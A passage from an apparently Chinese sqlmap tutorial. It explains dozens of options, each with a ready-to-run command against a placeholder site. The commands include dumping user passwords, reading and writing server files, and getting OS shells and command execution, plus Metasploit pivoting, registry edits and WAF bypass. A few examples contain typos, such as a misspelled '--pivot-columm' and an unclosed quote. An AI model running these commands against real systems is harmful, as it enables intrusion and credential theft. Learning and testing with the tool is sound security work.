枚举DBMS用户,获取DBMS所有用户。

sqlmap -u "http://xxx.com/xxx.php?id=1" --users

0x3b –password

枚举DBMS用户密码。

sqlmap -u "http://xxx.com/xxx.php?id=1" --password

0x3c –privileges、–role

  • –privileges 枚举DBMS权限
  • –role 枚举DBMS角色
sqlmap -u "http://xxx.com/xxx.php?id=1" --role

0x3d –dbs、–tables、-D、–exclude-sysdbs、-T、–columns、-C、–dump

  • –dbs sqlmap列举数据库名
  • –tables 列举表名
  • -D 指定数据库
  • –exclude-sysdbs 排除系统数据库(information_shcema等)
  • -T 指定表
  • –columns 列举字段名
  • -C 指定列名
  • –dump 枚举数据值
sqlmap -u "http://xxx.com/xxx.php?id=1" -D security -T users -C "username,password" --dump

0x3e –schema

枚举schema信息。用户可以使用此开关检索DBMS模式。模式列表将包含所有数据库、表和列,以及它们各自的类型。与–exclude-sysdb结合使用时,只会检索和显示包含非系统数据库的模式的一部分。

sqlmap -u "http://xxx.com/xxx.php?id=1" --schema --exclude-sysdbs --batch

0x3f –count

检索数据表数量,如果用户只想知道表的条目数,就可以使用这参数。

sqlmap -u "http://xxx.com/xxx.php?id=1" --count

0x40 –start、–stop、–first、–last

可有可无的参数。

  • –start 1 –stop 3 获取第二张到第三张表的名字
  • –stop 1 获取第一张表的名字
  • –first 3 –last 5 获取从第三出发到第五个字符

0x41 –pivot-column、–where

–pivot-column 设置条件获取信息,即主键。

sqlmap -u "http://xxx.com/xxx.php?id=1" --pivot-columm id

可以加–where来设置条件:

sqlmap -u "http://xxx.com/xxx.php?id=1" --pivot-columm id --where="id>3

0x42 –common-tables、–common-columns

sqlmap暴力破解数据,使用场景为当Mysql<5.0版本时,mysql中没有元数据库information_schema,这时只能用常用数据库名表名列名来暴力破解。

如access数据库、mysql5.0以下就需要暴力跑。

sqlmap -u "http://xxx.com/xxx.php" -D security --common-tables

然后会让你选择默认还是自己导入。默认的话字典文件在sqlmap/data/txt/*.txt。

0x43 –file-read

读取目标服务器里的文件内容保存到本地。必须是绝对路径。

sqlmap -u "http://xxx.com/xxx.php?id=1" --file-read="F:\\flag.txt"

0x44 –file-write、–file-dest

  • –file-write 读取本地文件
  • –file-dest 将本地文件写入到远程路径
sqlmap -u "http://xxx." --file-write="/root/Desktop/hello.txt"  --file-dest="F:\\hello.txt"

0x45 –all

返回所有信息。

0x46 –os-shell

执行系统命令。有三点要求:

  • 弱连接
  • 知道站点目录在root中的绝对路径
  • 关闭了gpc(也就是magicquotes功能)

然后会提示选择PHP、JSP、ASP、ASPX等,然后再选择破解站点目录位置的方法,可以导入文件,或者单个输入,或者直接暴力破解,或者默认(几个最常见的)。

0x47 –os-pwn

结合metasploit。

sqlmap -u "http://xxx.com/xxx.php?id=1" --os-pwn

0x48 –reg-read、–reg-add、–reg-del、–reg-key、–reg-value、–reg-data、–reg-type

注册表(Registry,繁体中文版Windows操作系统称之为登录档)是Microsoft Windows中的一个重要的数据库,用于存储系统和应用程序的设置信息。早在Windows 3.0推出OLE技术的时候,注册表就已经出现。随后推出的Windows NT是第一个从系统级别广泛使用注册表的操作系统。但是,从Microsoft Windows 95操作系统开始,注册表才真正成为Windows用户经常接触的内容,并在其后的操作系统继续沿用至今。

  • –reg-read 读取注册表信息,需要补充下面key参数、
  • –reg-add 添加注册表信息,需要补充key、value、data、type等参数、
  • –reg-del 删除注册表信息,需要补充key参数、
  • –reg-key、–reg-value、–reg-data、–reg-type
sqlmap -u "http://xxx.com/xxx.php?id=1" --reg-add --reg-key="HKEY_LOCAL_MACHINE\SOFTWARE\sqlmap" --reg-value=Test --reg-type=REG_SZ --reg-data=1

0x49 -s、–flush-session

sqlmap加载sqlite会话文件。sqlmap自动为每个目标创建持久会话sqlite文件,位于专用输出目录中(output),其中存储会话回复所需的所有数据。如果用户想显示地设置会话文件位置(例如在一个位置为多个目标存储会话数据),可以使用此选项-s。如果想重新探测,不使用保存的会话结果,那就用 –flush-session。

sqlmap -u "http://xxx.com/xxx.php?id=1" -s session.sqlite

0x4a -t

保存HTTP文本文件。这个选项需要指定文本文件的参数来写入sqlmap - HTTP(s) 请求和HTTP(s)相应生成的所有HTTP(s)流量。这主要用于调试目的——当您向开发人员提供一个潜在的bug报告时,也发送这个文件。

sqlmap -u "http://xxx.com/xxx.php?id=1" -t /root/Desktop/target1.txt

0x4b –batch

用户交互都自动选择默认选择选项。

sqlmap -u "http://xxx.com/xxx.php?id=1" --batch

0x4c –os-cmd

执行系统命令。

–os-cmd=”命令”

sqlmap -u "http://xxx.com/xxx.php?id=1" --os-cmd="dir"       # 命令是根据服务器操作系统

0x4d –charset

设置盲注字符集。在基于布尔和基于时间的SQL盲注中,用户可以强制使用自定义字符集来加速数据检索过程。例如,如果转储消息摘要值(例如SHA1),则使用 –charset=”0123456789abcdef”,预期请求数量比正常运行少30%左右、

sqlmap -u "http://xxx.com/xxx.php?id=1" -v 3 --batch --charset="0123456789abcdef" -D security -T users -C "password" --dump

0x4e –dump-format、–csv-del

–dump-format 设置输出格式。当将转储表数据存储到输出目录中的响应文件中时,sqlmap支持三种不同的格式:CSV、HTML和SQLITE。默认是CSV,其中每个表行一行一行地存储在文本文件中,每个条目用逗号分隔(或提供了选项–csv-del)。对于HTML,输出被存储到一个HTML文件中,其中每一行都用格式化表中的一行表示。对于SQLITE,输出存储在SQLITE数据库中,原始表内容复制到同名的相应表中。

sqlmap -u "http://xxx.com/xxx.php?id=1" -D security -T users -C "username,password" --dump --dump-format="HTML"

当被转储的数据存储到CSV格式(–dump-fromat=CSV)时,条目必须用“分离值”分隔(默认值是逗号,)。如果用户想要覆盖它的默认值,可以使用这个选项(例如–csv-del=”;”)。

sqlmap -u "http://xxx.com/xxx.php?id=1" -D security -T users -C "username,password" --dump --dump-format="CSV" --csv-del="#"

0x4f –check-internet

探测之前监测Internet连接。

在进行评估目标之前,监测当前计算机Internet连接是否正常,确保探测失败不是因为网络拦截问题。

0x50 –form

解析和测试表单的输入字段。

自动分析POST提交的表单数据。

sqlmap -u "http://xxx.com/xxx.php" --form

0x51 –eta

设置预计完成时间。可以实时地计算和显示估计的到达时间,以检索每个查询输出。当用于检索输出的技术是任何盲SQL注入类型时,就会显示这一点。会和-v冲突。

sqlmap -u "http://xxx.com/xxx.php?id=1" -eta

0x52 –fresh-queries

忽略会话中存储的结果。使用选项–fresh-queries来忽略该文件的内容,通过这种方式,可以保持会话文件不变,对于所选的运行,避免恢复/恢复查询输出。

sqlmap -u "http://xxx.com/xxx.php?id=1" --fresh-queries

0x53 –output-dir

设置自定义输出路径。默认将会话和结果文件存储在子目录输出中。如果想使用不同的位置,可以使用这个选项(例如–output-dir=/tmp)。

sqlmap -u "http://xxx.com/xxx.php?id=1" --output-dir="/root/Desktop/sqlmap_test"

0x54 –parse-error、–save

  • –parse-error:从相应页面解析错误。如果web应用程序配置为调试模式,以便在HTTP响应中显示后端数据库管理系统错误消息,sqlmap可以解析并显示它们。这对于调试很有用,比如理解为什么某个枚举或接管开关不起作用——这可能与绘画用户的特权有关。
  • –save:保存sqlmap配置文件。可以将命令行选项保存到配置INI文件中,然后可以使用-c选项编辑生成的文件并将其传递给sqlmap。
sqlmap -u "http://xxx.com/xxx.php?id=1" -D security -T users -C "username,password" -dump --hex -v3 --batch --parse-errors --flush-session --save="/root/Desktop/parse_ini"

0x55 –update

更新sqlmap。

sqlmap --update

0x56 –encoding

强制设置DBMS编码。

sqlmap -u "http://xxx.com/xxx.php?id=1" --encoding="gbk"

0x57 –har

存储HTTP流量到HAR。

sqlmap -u "http://xxx.com/xxx.php?id=1" --har="HARFILE"

HAR(HTTP Archive),是一个用来储存HTTP请求/响应信息的通用文件格式,基于JSON。

0x58 –test-filter

筛选具体Payload。

sqlmap -u "http://xxx.com/xxx.php?id=1" --test-filter="RAW"

只使用payload中包含RAW的payload。

0x59 –test-skip

过滤具体Payload。

sqlmap -u "http://xxx.com/xxx.php?id=1" --test-skip="BENCHMARK"

过滤掉包含BENCHMARK的payload。

0x5a -z

缩写命令。如:

  • -z flu:–flush-session
  • -z bat:–batch
  • -z ban:–banner
  • -z tec:–technique

0x5b –alert

当发现SQL注入时,运行主机系统命令。

–alert=”dir” 根据对端服务器的操作系统决定

sqlmap -u "http://xxx.com/xxx.php?id=1" --technique U --alert="ifconfig" --flush-session

0x5c –beep

当发现SQL注入时会发出BB声音。

0x5d –cleanup

清除DBMS udf创建的数据表。

0x5e –dependencies

查看依赖项。

sqlmap -u "http://xxx.com/xxx.php?id=1"  --dependencies

0x5f –disable-coloring

不进行高亮显示。

0x60 –identify-waf

查看是否具有WAF保护。

0x61 –mobile

使用手机端User-Agent。

sqlmap -u "http://xxx.com/xxx.php?id=1" --mobile

0x62 –offline

仅使用session文件,不使用联网探测。

0x63 –purge-output

清除output目录下的文件。慎用!

sqlmap --purge-output

一般直接终端rm就行。

0x64 –skip-waf

绕过WAF。

0x65 –sql-shell

使用sql shell。数据库命令行。

0x66 –tmp-dir

指定本地目录用来存储临时文件。

sqlmap -u "http://xxx.com/xxx.php?id=1" --tmp-dir="/root/Desktop/"

0x67 –web-root

指定站点根目录。在使用–os-shell可能需要用到。

sqlmap -u "http://xxx.com/xxx.php?id=1" --os-shell --web-root="/root/home/wwww/"

0x68 –wizard

使用简单的向导页面,方便初学者。

sqlmap --wizard

0x69 –answer

设置问题答案。例如”quit=N,folow=N”。

sqlmap --answer="quit=N,folow=N"

0x6a –gpage

设置Google Dork的页码数。

0x6b –smart

智能探测。

有些情况下,用户有大量的潜在目标url(例如,提供了选项-m),希望尽快找到一个脆弱的目标,如果使用–smart,那么将在扫描中进一步使用数据库管理系统错误的参数。否则就跳过它们。